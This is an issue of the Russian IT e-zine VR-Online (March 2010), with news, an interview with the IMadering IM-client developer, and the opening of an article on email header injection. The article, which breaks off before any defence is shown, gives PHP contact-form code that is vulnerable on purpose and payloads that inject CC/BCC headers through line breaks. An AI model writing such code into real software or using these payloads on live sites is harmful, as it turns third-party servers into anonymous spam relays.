VR-Online (March 2010)

Page 1


Новости

IT NEWS....................................................................................................................................................................05 HARD NEWS.............................................................................................................................................................08

VrIP персона

IM клиент по-русски. Интервью с Эдуардом Толмачевым..............................................................11

Безопасность

Спамер, умри! Избавляемся от Email Injection....................................................................................16 Еще один способ похакать web-сайт.......................................................................................................20 Как хакнуть замок. Разбираемся с реальными замками..............................................................22

Мнение VR

Что мы думаем о Windows 7.........................................................................................................................27

Кодинг

C#. Прослушка Skype........................................................................................................................................31 C#. Меняем настройки Proxy........................................................................................................................40 Delphi. Топологическая сортировка.......................................................................................................42 CSS3. Создание оптимизированных интерактивных HTML форм...............................................46 Delphi. GExperts: Помощник для Delphi..................................................................................................49 Delphi. WEB 2.0 программирование на Object Pascal. Часть 1.......................................................59 Delphi. WEB 2.0 программирование на Object Pascal. Часть 2.......................................................65 Drupal. Прикручиваем mp3 плеер...............................................................................................................73 SilverLight. Первое приложение для Windows Mobile......................................................................85 C#. Исталлер средствами Visual Studio...................................................................................................88

МЕНЯ ТОШНИТ!

То отчего тошнило в этом месяце............................................................................................................92

SOFTWARE

Яблочная музыка.............................................................................................................................................96

Без рамки

Изучение английского. Как это делаю я..............................................................................................101 Дополнительная реальность...................................................................................................................104

Админинг

Wi-fi. Мониторинг беспроводной сети.................................................................................................108 Создаем видеконференцию. Часть 2.....................................................................................................115

Психо

Остановись, мгновение! Якоря в НЛП....................................................................................................123 Конгруэнтность или как притворяться правильно.......................................................................127

Креатиff

Gimp. Пламя в космосе..................................................................................................................................130 Рассказ. Я искала тебя..................................................................................................................................142

Школа

Delphi. Копирование директорий...........................................................................................................146

Я ПРУСЬ!

То отчего мы перлись в марте...................................................................................................................147


ИНТРО

Не нужно спорить - программируйте! Именно с этих слов мне хочется начать сегодняшнее интро. За последний месяц я посетил много сайтов (тематика – Delphi) забугорных и наших блоггеров. Признаться честно, я был удивлен, когда читал комментарии к публикациям! Я тусуюсь в инете уже 10 лет и для меня не новость, что во многих местах паутины люди любят нагадить и облить всех и вся грязью. Людям нравится ругаться и тыкать носом других. На себя мало кто обращает внимание. Сплошь и рядом можно прочесть «содержательные» комментарии вроде: «Автор умри и сделай землю чище», «автор жжот», «аццтой ацкий» и т.д. Само собой никакой конкретики Такое ощущение, что сейчас модно быть быдлом (аля гопником из 90-х). Оскорбить, наехать, предъявить претензии – да, пожалуйста!!! Составить конструктивную критику и сделать интересное предложение ни в коем случае! А может, и знаний то нет, чтобы проводить дискуссии соответствующим образом? Извиняюсь, я немного отвлекся и забыл рассказать вам, дорогие читатели, про самое главное. Зашел я на страницу одного из блоггеров (он наш соотечественник) и почитал достаточно интересную заметку. В ней автор рассказывал про свой опыт работы в Delphi. Мне пост понравился, и я решил выразить свой восторг, написав комментарий. Как же мне стало фигово, когда я прочитал существующие комменты. Двое из посетителей обозвали автора «аццким ламером» только за то, что тот пишет в наше время на Delphi! «Delphi –мертвый язык и пишут на нем разве что некрофилы!» - одно из высказываний. Когда читаешь подобное, сразу возникает мысль: «Если автор не любит delphi, то зачем он тратит свое драгоценное время и читает сайты, связанные с программированием на этом языке?». Если я не программирую на Visual Basic, то я и не посещаю соответствующие сайты. Мне до лампочки о проблемах/счастье программистов на VB. Они программируют, творят и это самое главное. Не нужно людям портить настроение! Когда читаешь подобные высказывания становиться очень обидно. Обидно о того, что в наше золотое время многие люди, откровенно говоря, тупят и не направляют свою энергию на благие дела. В мире есть столько областей, где реально нужен свежий взгляд и новые идеи. Почему бы многим не попытаться переделать себя и начать творить, а не срать?! Когда М.Фленов создавал VR-Online, то одной из первоначальных целей была: «создать место для комфортного общения энтузиастов и просто увлеченных людей». Я считаю, что Миша смог заложить крепкий фундамент для этой идеи, который за 10 лет ничуть не осыпался, а подобно хорошему коньяку набирает выдержку. На VR всегда пресекались, и будут пресекаться быдло-разборки и наезды! Общайтесь, уважайте друг друга и творите! Приятного чтения, друзья! Игорь Антонов aka Spider_NET

Идея Фленов Михаил Редакторы номера Антонов Игорь (antonov.igor@live.ru) Костенко Роман (lord_of_fear@list.ru) Графика в журнале Васючков Андрей aka Soffrick (soffrick@mail.ru) Редькин Дмитрий aka zahod5277 Magistral Текущий состав VR-Team Neon_Kaligula, Soffrick, Egoiste, FrIToOll, Lord_of_fear, Spider_NET Вопросы и предложения по журналу mail@vr-online.ru, antonov.igor.khv@gmail.com



март 2010

vr-online.ru

IT-новости

Spider_NET aka Игорь Антонов (antonov.igor.khv@gmail.com)

Выбирай любой

С начала марта европейские пользователи смогут выбрать браузер на свой вкус. Корпорация Microsoft в течение недели начнет рассылку через сервис Windows Update соответствующего обновления, которое предлагает 12 браузеров на выбор. Список разделен на две части, каждая из которых строится в случайном порядке. В первой находятся более распространенные браузеры Chrome, Firefox, Internet Explorer, Opera и Safari. Во второй - Avant, Flock, Green Browser, K-meleon, Maxthon, Sleipnir и Slim. Первая часть видна всегда, а чтобы увидеть вторую, надо сдвинуть ползунок на линейке прокрутки. Стоит отметить, что окно выбора появится только перед пользователями Internet Explorer. При выборе альтернативного браузера в Windows 7 с панели задач исчезнет прикрепленный по умолчанию значок Internet Explorer. Европейцы, у которых в качестве браузера по умолчанию, например, установлен Chrome и Firefox, список альтернатив не увидят.

Антивирус от Яндекс

Компания “Яндекс” разработала собственный антивирус, который будет проверять веб-страницы, используя поведенческие алгоритмы, пишет “Коммерсант” со ссылкой на слова пресс-секретаря “Яндекса” Очира Манджикова. При попытке перейти на такую страницу система предупредит пользователя о возможных опасностях. По статистике “Яндекса”, около 8 процентов пользователей раскрывают такой блок-предупреждение. Менее половины процента, несмотря на предупреждение, перейдет на зараженный сайт. Кроме того, владельцы сайтов, зарегистрированные в сервисе “Яндекс.Вебмастер”, получат оповещение о заражении их ресурса. Поисковый робот “Яндекса” будет обходить страницы в индексе, имитируя действия пользователя. Потенциально опасными будут считаться страницы, на которых без ведома пользователя скачиваются или исполняются программы и скрипты. Сервис, запущенный в тестовом режиме, всего за пять дней работы позволил увеличить число обнаруженных вредоносных страниц на 9 процентов.

Очередной баг в Windows XP и IE

Данная уязвимость позволяет атакующим передавать на компьютер-жертву злонамеренный код. Уязвимость была обнаружена польской компанией iSEC Security Research. В iSEC говорят, что под ударом находятся как пользователи IE7, так и пользователи IE8. В Microsoft подтвердили, что их технические специалисты уже в курсе проблемы и исследуют проблему, затрагивающую связку VBScript и IE. Также в Microsoft заявили, что по их данным новые операционные системы, в том числе Windows Vista, Windows 7, Windows Server 2008 и Server 2008 R2 не подвержены этой атаке.

webOS 1.4 от Palm

Владельцам смартфонов Palm Pre и Pixi предлагается загрузить обновленную до версии 1.4 мобильную платформу webOS. Платформа получила внушительное число новых возможностей, улучшений в работе, обновленных функций, исправлений. Так, пользователи наконец-то могут снимать видеоролики, обрезать их встроенным инструментом, напрямую загружать видеофайлы

05


vr-online.ru

март 2010

на YouTube и Facebook, обмениваться видеоклипами через электронную почту и ММС. Усовершенствованы уведомления светодиодным индикатором: в моменты системных событий он будет пульсировать даже в том случае, если экран телефона выключен. Усилена интеграция между вызовами и сообщениями: например, можно звонить по телефонному номеру из календарной записи или обмениваться сообщениями с кем-либо из списка вызовов. Вызовы можно осуществлять благодаря появившейся автоматической подсветке телефонных номеров на веб-страницах.

Не нажимайте F1, пожалуйста!

Корпорация Microsoft попросила пользователей Windows XP не нажимать кнопку F1 (“Помощь”), когда об этом просит сайт, пишет Computerworld. Это действие несет риск заражения в том случае, если используется браузер Internet Explorer версий 7 или 8. Обнаруженная уязвимость позволяет сценарию VBScript запустить вредоносный код при попытке вызова помощи. Для этого злоумышленники создают особый файл формата .hlp и выводят окно с просьбой прочесть интерактивную справку. Заражение грозит пользователям Windows XP SP2 и SP3, Windows 2000 SP4, а также нескольким версиям Windows Server 2003. Windows Vista и Windows 7 не затронуты.

Бесплатное обновление до Office 2010

Финансовый директор корпорации Microsoft сообщил, что компания начнет предлагать пользователям с этого месяца бесплатный купон на обновление офисного пакета Microsoft Office до версии Office 2010. На конференции Morgan Stanley Technology, Media & Telecom Conference Питер Клайн заявил, что программа Office 2010 Technology Guarantee будет запущена в середине марта. По неофициальным данным, программа бесплатного обновления версий Office 2007 до Office 2010 стартует с 5 марта и продлится до 30 сентября 2010 года. Все купившие в этот период программное обеспечение Office 2007 смогут бесплатно обновить его до более новой Office 2010. Новую версию программного обеспечения можно будет скачать с сайта Microsoft. По условиям программы, покупатели Office Home and Student 2007 получат аналогичную версию Office 2010. Те, кто купят Office Standard 2007, смогут обновить ее на версию Office Home and Business 2010. Покупатели Office Small Business 2007 смогут получить Office Professional 2010.

WiMAX от “Воентелекома”

Оператор связи Минобороны “Воентелеком” начал тестирование базовых станций WiMAX, которое продлится до конца марта. Об этом сообщается на сайте предприятия. В “Воентелекоме” планируют развернуть в России сети WiMAX, используя для этого частотный диапазон от 2,3 до 2,4 гигагерца и канал шириной в 10 мегагерц. В первую очередь сети будут созданы в военных городках и воинских частях, пишет “Коммерсант”. Окончательное решение о внедрении WiMAX еще не принято.

06


vr-online.ru

март 2010

Налог на болванки

В ближайшее время в России может заработать новая система авторских отчислений с компаний, ввозящих в нашу страну записывающее оборудование или чистые носители. Об этом сегодня журналистам рассказал председатель совета директоров Российского авторского общества (РАО) Сергей Федотов. В скором времени государство должно объявить конкурс на аккредитацию организации по управлению правами «в сфере прав авторов, исполнителей и производителей фонограмм на воспроизведение фонограмм и аудиовизуальных произведений в личных целях». «Пользователь, копируя фильмы или музыку в бытовых условиях с лицензионных дисков на чистые носители – «болванки», по сути создает контрафакт, – объясняет Сергей Федотов. – Правообладатель, таким образом, ничего не получает, но и отследить это также невозможно. Поэтому во многих странах была принята так называемая система компенсаций». Когда в страну ввозится некоторое бытовое оборудование, позволяющее записывать музыку или кино, а также чистые носители для записи этого контента, на таможне взимается определенный процент. Дальше полученные средства распределяются по правообладателям. Это достаточно широкий пул авторов, среди которых исполнители, режиссеры, композиторы и т. д. Пока в нашей стране эта норма не работает, потому что нет аккредитованной организации по этому виду деятельности.

Релиз MS Office 2010 намечен на 12 мая

Microsoft официально объявила, что новая версия офисного пакета Office 2010 выйдет 12 мая, правда тогда она будет доступна только для бизнеса, так как только компании заключают лицензии, позволяющие скачивать им новые продукты с сайта корпорации сразу же после их выхода. Обычным пользователям придется подождать около полутора месяцев, необходимых на печать и распространение дисков. Напомним, что ранее софтверный гигант сообщал, что Office 2010 для массового пользователя появится в продаже в течение июня.

В Windows 7 Phone буфер обмена станет другим

В новой мобильной операционной системе Windows Phones 7 будет много новых функций и возможностей, но не будет одной из самых востребованных - пользователи не смогут использовать системный буфер обмена для операций копирования вставки текстов, графики и файлов. Строго говоря, данная функция в ОС будет, но от глаз и рук пользователей она будет скрыта по соображениям безопасности. Сообщается, что разработчики сторонних программ также получат довольно ограниченный доступ к буферу обмена и смогут копировать/вставлять лишь очень ограниченные объемы данных. Интересно отметить, что в мобильной варианте Microsoft Office также будет заблокирован доступ к буферу обмена. Единственным вариантом “законно” использовать буфер остается использование онлайнового варианта офисного набора, где операции копирования/вставки происходят удаленно. По словам Тодда Брикса, менеджера подразделения Windows Phones, использование буфера обмена в мобильных телефонах и смартфонах - это не только не оптимально, но съедает много памяти и ставит под удар некоторые операции. “Зачастую мобильные пользователи использовали буфер обмена для выполнения каких-то специфических мобильных операций. Для большинства этих операций в новой системе будет присутствовать система так называемых умных ссылок.

07


vr-online.ru

март 2010

Железные новости

Lord_of_Fear (lord_of_fear@list.ru)

Водонепроницаемые винчестеры

Тайваньская компания Silicon Power анонсировала новую линейку портативных жёстких дисков под названием Armor A70. Отличительной особенностью новинки является её прочная конструкция, которая позволяет эксплуатировать устройство в самых экстремальных условиях. Винчестер заключён в ударопрочный корпус, исключающий попадание внутрь влаги и пыли, а также может похвастать высокой устойчивостью к различного рода вибрациям и давлениям. Габариты устройства составляют 139,45 х 85,7 х 18,1 мм, а его вес — всего 250 г. Armor A70 будет выпускаться в вариантах с 250, 320, 500 и 640 Гб памяти на борту и в двух цветовых решениях: красном и чёрном, передача данных осуществляется по протоколу USB версий 2.0/1.1. Armor A70 появится на прилавках магазинов в апреле текущего года, стоимость новых портативных решений для хранения данных пока остаётся загадкой. Производитель предоставляет двухлетнюю гарантию на свои устройства.

Биологическая клавиатура

Американские ученые разработали систему Skinput, которая позволяет вводить текст и управлять разными электронными устройствами при помощи проекции клавиш управления на руку. Миниатюрный проектор передает информацию с устройства на руку, а сенсоры считывают прикосновения к ладони. По словам создателя клавиатуры Криса Харрисона (Chris Harrison), он решил разработать подобную конструкцию из-за постоянной миниатюризации устройств. Это, на его взгляд, усложняет управление ими, поскольку размер пальцев человека не меняется.

Новый мировой рекорд разгона до 8.2 ГГц Одному из участников команды XtremeLabs.org удалось зафиксировать новый абсолютный мировой рекорд разгона процессора - Celeron 347 (3.06 ГГц) в умелых руках разогнался до 8.2 ГГц! Процессор был установлен в материнскую плату DFI LANparty UT P35-T2R на базе чипсета Intel P35. При температуре в минус 186 градусов Цельсия процессор удалось разогнать до 8232 МГц, но валидацию CPU-Z он прошёл только на частоте 8199 МГц. Напряжение на ядре было повышено до 2.15 В, материнская плата была подвергнута модификациям.

Самая быстрая память в мире от Kingston

Компания Kingston выпустила самую быструю компьютерную память в мире, сертифицированную Intel. Память HyperX dual-channel DDR3 будет работать с частотой 2400 мегагерц. Она предназначена для использования в компьютерах на базе процессоров семейства Intel Core i7. Память ориентирована на любителей

08


vr-online.ru

март 2010

компьютерных игр и была протестирована на совместимость с чипсетом Intel P55 Express. В продажу новая память поступит во втором квартале 2010 года. Kingston не сообщила стоимость планок с памятью, однако известно, что они будут обладать пожизненной гарантией.

GlobalFoundries осваивает 22-нм техпроцесс

Один из крупнейших контрактных производителей микросхем, компания GlobalFoundries, продолжает осваивать все более тонкие техпроцессы. В соответствии с намеченным графиком,

фирма планирует прийти к 22-нм производству к 2012 году. Ранее предполагалось, что выпуск подобных микросхем будет налажен после запуска фабрики Fab 8, строительство которой ведется в данный момент в Нью-Йорке, однако, если верить главному менеджеру Fab 1 Юдо Нотелферу (Udo Nothelfer), первые 22-нм продукты от GlobalFoundries могут появиться и раньше. Представитель компании заявил, что Fab 1 не только перейдет на использование 32-нм и 28-нм технологий до конца этого года, но и займется активным освоением 22-нм техпроцесса. Связано это в первую очередь с желанием «обкатать» тонкую технологию до начала массового производства микросхем на Fab 8.

Sapphire Radeon HD 5970 с 4 Гб памяти GDDR5 Как

и

обещано,

было в

ходе

международной выставки

CeBIT

2010 в Ганновере компания Sapphire Te c h n o l o g y показала

новую

оригинальную версию мощного

самого на

сегодняшний день двухчипового графического адаптера ATI Radeon HD 5970, укомплектованную сразу 4 Гб памяти GDDR5 с 256-битным интерфейсом. Представленный

ускоритель

оборудован

высокопроизводительной

двухслотовой

системой

активного воздушного охлаждения от Arctic Cooling с квартетом медных тепловых трубок, большим алюминиевым радиатором и тремя малошумящими 92-мм вентиляторами сверху. Новинка построена на паре чипов Radeon HD 5970, созданных по 40-нм технологии Cypress, каждый из которых обладает 1600 потоковыми процессорами. Карта изготовлена под шину PCI Express 2.1 x16, совместима с DirectX 11 Shader Model 5.0 и OpenCL, поддерживает технологии ATI CrossFireX, ATI Stream и ATI Eyefinity, а также полностью отвечает всем требованиям платформы Windows 7. На задней панели расположены два разъёма DVI и один порт Mini DisplayPort.

09


vr-online.ru

10

март 2010


март 2010

vr-online.ru

Spider_NET aka Игорь Антонов (antonov.igor.khv@gmail.com)

IM клиент по-русски. Интервью с Эдуардом Толмачёвым Кто он: Разработчик OpenSource программы IMadering

(клиент для мгновенного обмена сообщениями)

Особенности проекта: все абсолютно бесплатно, сорцы открыты, сделано качественно Сайт: imadering.com Программирует на: Delphi Наверное, это уже традиционный для Вас вопрос. Почему Вы решили создать клиент для мгновенного обмена сообщениями? Что Вас подвигло на этот шаг?

Своё знакомство со способами общаться с друзьями через интернет я начал с особенно популярного лет 10 назад протокола ICQ. Но так как канал интернет и количество денег у меня были более чем скромными я не смог использовать официальный клиент ICQ, так как он поедал интернет трафик как паровоз уголь. И я решил найти возможный альтернативный клиент для протокола ICQ. Так я познакомился с популярным в то время клиентом «&RQ», который в то время писал программист из Италии. Этот клиент меня почти устраивал, и я радовался жизни и радовался за итальянских программистов. Но в какой-то из дней, читая новости в интернет, я узнал, что итальянец бросил проект &RQ и выложил исходники этого клиента в общий доступ. Мне стало интересно изучить как же устроен тот клиент, который радовал меня своей скоростью работы и очень малым потреблением трафика. Изучая исходники, я узнал, что клиент написан на языке программирования Delphi и, так как я программировал в школе на языке Бейсик, то мне пришлось параллельно с изучением исходников &RQ заниматься изучением языка программирования Delphi. С уверенностью можно утверждать, что я понял азы и основные понятие программирования на Delphi, основываясь на исходниках клиента &RQ. Соответственно у меня появилось желание самому попробовать сделать свой клиент на знаниях и примерах полученных мной из исходников &RQ. В начале были нелепые и иногда даже бессмысленные попытки и эксперименты. Затем появлялись новые силы и новые идеи. И вот в один из дней я решил начать писать свой клиент для общения через протокол ICQ. И я очень хотел, чтобы мой клиент унаследовал и даже развил преимущества клиента &RQ. То есть, был таким же быстрым, функциональным и написан на полюбившемся мне языке программирования Delphi. Основной упор мне было интересно сделать на экономию интернет трафика в моём клиенте. Чтобы остановить частенько присутствующий в других подобных клиентах бесконтрольный расход интернет трафика. Проект IMadering изначально планировался на широкие массы или сначала создавался для личного пользования?

Клиент Imadering сразу планировался для общественного использования. Так как мне было приятно получать отзывы людей о моей работе и их критику. Тем более было интересно создать сайт, на котором каждый бы мог ознакомиться и скачать себе мой клиент. Сама суть клиента Imadering предусматривает не быть самым-самым, а просто оставить свой след в истории развития клиентов общения. Тем более открытый исходный код клиента Imadering может служить отличным примером для изучения и возможного улучшения его людьми, которым тоже интересна эта тема. Расскажите немного о себе. Вы профессиональный программист или программирование для Вас лишь хобби?

11


vr-online.ru

март 2010

Я не профессиональный программист. Это для меня всего лишь хобби в свободное от других дел время. В разработке такого проекта всегда есть элемент непознанности и недоделанности и именно это увлекает. Тем более знания, получаемые в ходе работы над проектом Imadering, помогают мне и в других областях. Вы трудитесь над разработкой IMadering самостоятельно или работаете целой командой?

Когда я начинал проект Imadering, я очень надеялся на то, что буду работать в команде единомышленников. И даже какое-то время такие предпосылки были. Но с выходом нового клиента QIP в 2005 году, все кто помогал моему проекту написали мне, что больше не видят смысла участвовать в дальнейшем развитии клиента Imadering, потому что создать, по их словам, что-то более совершенное, чем QIP уже не возможно. И в команде остался только я. Эпизодически к проекту пытаются присоединится различные помощники, но конкретно ничем не помогают и уходят. Работаете ли Вы еще над какими-нибудь проектами помимо Imadering?

Нет. Так как не смог найти для себя в программировании что-то более интересное. Да и времени заниматься чем-то ещё просто не хватит. Сколько времени уже длится разработка IMadering? Что планируется в новой версии?

Разработка именно Imadering идёт с 2007 года. А вообще свой клиент я пытался создать, начиная с 2004 года. Много времени ушло на изучение тех или иных аспектов этой тематики. Затем был очень долгий период подбора компонентов, из которых состоит сегодняшний клиент Imadering. В новой версии ожидается всё то что будет и во всех последующих версиях, а именно: исправление ошибок и недочётов, оптимизация и добавление новых функций. В будущем хочу добавить полноценную поддержку интересных протоколов. Чем Вы любите заниматься в свободное от программирования время и сколько Вы обычно в день проводите времени за компьютером?

В свободное время я занимаюсь различными делами в своём частном доме. В основном это дизайнерские улучшения и повышение комфортабельности моего дома и участка. Так как моя работа плотно связана с компьютерами, то я провожу за ними почти весь рабочий день и часа 3 - 4 вечером, если занимаюсь проектом Imadering. Как Вы относитесь к пиратству в нашей стране? На Ваш взгляд, реально ли в нашей стране заработать на разработке shareware продуктов?

Зная на что способен человек, имеющий хорошие познания в языке программирования Ассемблер, я не удивлён, что защита даже очень серьёзных программных продуктов не выдерживает и ломается. Я даже не хочу больше задумываться о программах, требующих какой либо активации за деньги, после моего знакомства и полного перехода на операционную систему семейства Linux Ubuntu. Кстати

12


vr-online.ru

март 2010

именно этим обусловлено то, что я стараюсь сделать клиент Imadering стабильно работающим в среде Wine для запуска Windows приложений в Linux. К пиратству я отношусь равнодушно, не пользуюсь их продукцией и не распространяю её. Почему Вы решили открыть исходники Imadering?

Это решение пришло из осознания, что нельзя допускать положения,когда с одной стороны люди говорят что создать, что-то лучше QIP или хотя бы приблизиться к нему уже невозможно. Но исходники QIP закрыты и это вызывает эффект монополии и поклонения. Открытость Imadering должна немного разрушать этот стереотип. Конечно, можно сказать- есть же и другие открытые клиенты типа Пиджин или Миранда, но ведь это не вопрос открытости а вопрос языка программирования на котором написан клиент. QIP и Imadering объединяет то, что они написаны на языке программирования Delphi. И разница между ними в открытости. У людей всегда должен быть выбор. Открытые исходники должны были упростить приход в команду Imadering новых программистов. Но этого не происходит. Также я рассчитываю на то, что открытые исходники вызывают больше доверия к программе. Известно, что IMadering разрабатывается на Delphi. Многие скептики считают, что сегодня Delphi уже мертв. Почему Вы решили использовать именно этот язык? Также очень хотелось бы услышать ваше мнение о будущем Delphi.

Частично я уже ответил на этот вопрос в рассказах выше. Споры программистов о языке программирования это уже целая наука, которую можно было бы уже выделить отдельно. Но лично я считаю Delphi достаточно сильным и удобным языком. И как мне довелось прочитать на одном из форумов, где разгорелся сильный спор по теме языков программирования: «Любой даже самый крутой и академически правильный язык программирования ничто если под него на написано большого количества различных крутых библиотек компонентов!» Я согласен с этим утверждением. Именно в большом количестве достаточно серьёзных библиотек компонентов и есть сила Delphi. Можно просто взять и начать создавать свою программу используя тот или иной готовый компонент. Что же касается будущего Delphi, то я думаю что оно есть и в этом можно убедиться на сайте разработчиков, которые не собираются бросать развитие языка. Относительно рейтингов, то на разных сайтах они разные. Похоже, что истинной картины в положении Delphi в рейтинге языков нам не увидеть. Следовательно, у каждого просто есть выбор, на каком языке именно он будет программировать. Сегодня есть множество всевозможных IM клиентов. Чем выделяется IMadering на их фоне?

В первую очередь похожестью на QIP. Так как лично меня этот стиль интерфейса радует, и я действительно считаю его почти совершенным. Ещё скорость работы imadering в том числе и в среде Wine под Linux. Сравнительно небольшим размером исполняемого файла. Экономным

13


vr-online.ru

март 2010

использованием оперативной памяти и ресурсов системы. Наличием некоторых уникальных возможностей для профи. И тем, что это русская программа. Скажите, можно ли как-то присоединиться к проекту IMadering (в плане разработки)?

Да. И это очень легко сделать. Написать мне на номер ICQ: 118648 и обговорить все детали. Затем получить доступ на запись в SVN репозиторий исходного кода Imadering. Согласовывать план разработки со мной. Планируете ли Вы создать отдельную версию IMadering для unix-like систем?

Дело в том, что в Imadering используется уникальный набор компонентов, которые были написаны для Windows и какое либо портирование или создание их на другие языки не представляется мне возможным. Практически у всех популярных IM клиентов есть специальные версии под Windows Mobile. У Вас есть планы на разработку мобильной версии Imadering?

Нет. Я вообще считаю, что мода и прогресс мобильных устройств настолько быстро развивается и отличается некой непредсказуемостью, что делать что-то под мобильные системы я считаю пустой тратой времени. И мне это совсем не интересно. Думаю, что ещё лет через 5 все будут ходить с мобильными устройствами, которые с лёгкостью смогут запускать на своём борту Windows 8 или Ubuntu. Сегодня пользователи IMadering преимущественно наши соотечественники? Вы планируете продвигать IMadering среди иностранцев?

Да, но только после того как Imadering уже будет отлаженной программой. Как Вы считаете, можно ли стать хорошим программистом без соответствующего специализированного образования?

Думаю да. Ведь можно и получить высокое специальное образование и не стать каким то программистом вообще. Тут дело в желании и стремлении самого человека. Но конечно гораздо лучше любого преподавателя может помочь в изучении авторитетное мнение или совет уже более продвинутых программистов. Тут вся сила в коллективном разуме. Ведь программировать одному и только для себя это очень скучно. Помимо Delphi, какие языки программирования Вы применяете в своей работе?

Только Delphi и разве что ещё язык разметки HTML для сайта проекта. Я пробовал изучать другие языки, например C#, но всё равно вернулся на Delphi. Ну и напоследок, чтобы Вы хотели пожелать нашим читателям?

Хочу пожелать, чтобы каждый нашёл для себя в жизни своё интересное занятие. Ведь как говорил один известный человек: «Если человек занимается любимым делом и это дело приносит ему хорошие деньги, то он счастливый человек!»

14


vr-online.ru

март 2010

15


март 2010

vr-online.ru

Никита Булай aka Bulka (bulka@sa-sec.org)

Спамер, умри! Избавляемся от Email Injection Проблема спама - одна из наиболее актуальных для обитателей всемирной паутины на сегодняшний день. Бесчисленное количество людей постоянно пытаются создать уникальные фильтры для прочистки почтового трафика, однако злые спамеры продолжают активно атаковать наши ящики каждый день предложениями купить что-нибудь или воспользоваться их услугами. Надоедает удалять весь этот ненужный контент, не так ли? Вот я и задумался, что же позволяет многим спамерам активно бомбить наши e-mail. Как оказалось, все довольно банально. Огромное количество злоумышленников используют так называемую E-mail-инъекцию, которая присутствует практически на любом сайте с формой обратной связи или возможностью посоветовать материал другу на e-mail. О ней и поговорим. E-mail Injection - уязвимость веб-сайтов, эксплуатируемая в целях отправки большому числу адресатов почтовых писем, естественно, не с поздравлениями с Днем рождения ;). 95% сайтов в Сети обязательно содержат форму обратной связи или предлагают пользователю отправить ссылку на эту страничку другу на электронную почту. Очень редко информация, введенная пользователем, поддается какой-нибудь проверке со стороны скрипта отправки письма (обычно это код на PHP), за исключением самого текста письма, да и то только на наличие HTML тегов. Ну а цель спамера какая? Правильно, не попытаться сделать XSS-атаку на сайт, а донести какую-то информацию до почтовых ящиков пользователей. Инъекции поддается вводимая пользователем информация. Данный фактор позволяет без каких-либо препятствий рассылать нежелательную корреспонденцию. Причем, IP-адрес отправителя будет адресом сайта, с которого производится рассылка, а не самого злоумышленника. Это позволяет защититься от фильтров по blaklist'у, а заодно и делает спамера анонимным. Техника e-mail-инъекции заключается в использовании особенностей MIME-формата (подробнее о нем можно почитать в Википедии: ru.wikipedia.org/wiki/MIME), в частности, добавление дополнительного списка получателей. MIME формат использует так называемый «возврат каретки», что позволяет ему отделять информацию друг от друга. Так вот, этот «возврат каретки» или символ переноса строк используется спамером для отделения и добавления большого числа адресатов и отправки им сообщения за один проход. Чтобы иметь представление об этой уязвимости, рассмотрим для начала устройства самого почтового сообщения.

Ковыряем «внутренности» письма

Итак, что собой представляет обычное электронное письмо? Во-первых, это обычный текст. Простой набор строк с ключевыми словами (заголовками), благодаря которым программаотправитель имеет представление об адресате, отправителе, теме письма и прочей информации. При отправке письма изначально идут заголовки с их значениями, а потом уже сам текст. Зная их предназначение, можно даже самому «читать» письмо, причем видеть его таким, какое оно есть на самом деле, а не таким, каким его показывает почтовая программа или сайт. Если рассматривать письмо с отображением его заголовков в почтовом клиенте, например, в TheBat, то оно будет выглядеть следующим образом:

16


vr-online.ru

март 2010

Текст, выделенный жирным шрифтом, - это и есть заголовки сообщения, после которых идет текст письма. Заголовки, начинающиеся с X, необязательные. Они используются для разнообразной служебной информации, такой, как имя почтового клиента-отправителя или результат проверки на спам. Все достаточно просто.

E-mail injection в действии

Техника e-mail-инъекции, как я писал ранее, построена на особенности обработки этих заголовков. В рамках этой статьи мы рассмотрим три способа проведения атаки: при помощи манипуляции с полем «отправитель», при помощи манипуляции с полем «получатель» и при помощи подмены текста письма. Все они будут производиться из формы обратной связи и с использованием стандартной для PHP функции mail(). Заглянув в любой справочник, можно увидеть следующее описание данной функции: Bool mail([RECIPIENT],[SUBJECT],[MESSAGE],[EXTRAHEADERS],[EXTRAPARAMS]) В качестве RECIPIENT выступает ящик, куда будет отправлено письмо; SUBJECT - тема письма; MESSAGE - текст сообщения; EXTRAHEADERS - дополнительные заголовки; EXTRAPARAMS дополнительные параметры вроде флагов для командной строки программы-отправителя почты. Теперь можно приступить к рассмотрению примеров. Манипуляции с отправителем На сайте присутствует форма с полями «ФИО», «Обратный E-mail» и «Текст сообщения». Код отправки письма выглядит следующим образом: <?php if($_POST['submit']) { $title = htmlspecialchars($_POST[‘title’]); $mess = htmlspecialchars($_POST[‘message’]); mail(‘admin@site.ru’, $title, $mess, ‘From:’.$_POST[‘email’]); echo ‘Сообщение отправлено.'; } ?> <form action=”” method=post> <div align=”center”>ФИО<br> <input type=»text» name=»from» size=»40»><br>Обратный e-mail<br> <input type=»text» name=»title» size=»40»><br>Сообщение<br> <textarea name=»message» rows=»10» cols=»40»></textarea><br> <input type=»submit» value=»Отправить» name=»submit»></div> </form>

Функция htmlspecialchars используется для преобразования специальных символов в HTML сущности, что позволяет защитить от простейших атак. Для отправки сообщенияприменяется рассмотренная выше функция mail. «Мыльная» инъекция в таком случае производится путем подстановки специально сформированных данных в параметр EXTRAHEADERS вышеуказанной функции. Подставить можно, например, такие данные: original@test.ru CC: spam_mail@gmail.com, second_spam_mail@gmail.com, third_spam_mail@mail.ru Функция mail() без всяких запросов вставит данный текст как заголовок в наше письмо. А почтовый агент при отсылке письма отправит его копию всем указанным в CC (Carbon Copy) адресатам, тем самым помогая спамеру делать его грязное дело. Все просто как дважды два. Манипуляции с получателем Второй случай реализации инъекции доступен только тогда, когда разработчик web-сайта конкретно обезумел, и код отправки письма у него выглядит следующим образом: <?php if($_POST[‘submit’]) { $title = htmlspecialchars($_POST[‘title’]); $to = htmlspecialchars($_POST[‘ to’]); $mess = htmlspecialchars($_POST[‘message’]);

17


vr-online.ru

март 2010

mail($to, $title, $mess, ‘From:’.$_POST[‘email’]); echo 'Сообщение отправлено.'; } ?>

В этом случае любой желающий может нагло и явно подставлять любое количество адресатов. В качестве $to можно подставить такие данные: rcp@mail.ru%0ACC:any_mail@mail.ru%0ABCC:some1@ya.ru,some2@ya.ru%0Ato:some3@ya.ru Из такого запроса письмо отправится четырем пользователям из заголовков TO, CC и BCC. Они разделены между собой символом переноса «\n» в шестнадцатеричном виде (0x0A).

Манипуляции с текстом письма

